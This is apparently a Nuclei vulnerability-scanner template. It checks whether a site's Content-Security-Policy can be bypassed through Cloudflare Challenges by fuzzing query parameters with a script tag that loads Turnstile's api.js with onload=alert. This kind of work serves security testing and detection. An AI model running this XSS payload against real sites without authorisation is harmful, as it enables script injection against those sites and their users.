id: cloudflare-challenges-csp-bypass

info:
  name: Content-Security-Policy Bypass - Cloudflare Challenges
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,cloudflare-challenges,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "cloudflare.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: cloudflare_challenges_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "cloudflare_challenges_csp_xss == true"
# digest: 4a0a00473045022100f6249c504277573338615432c7136b9cd425e2b05eb3772abcfb8122e9044a0f02205ac2a962f8ee3fe702d5c39b2473c20ba025f73a61ec54beb748d5b07ed60c72:922c64590222798bb761d5b6d8e72950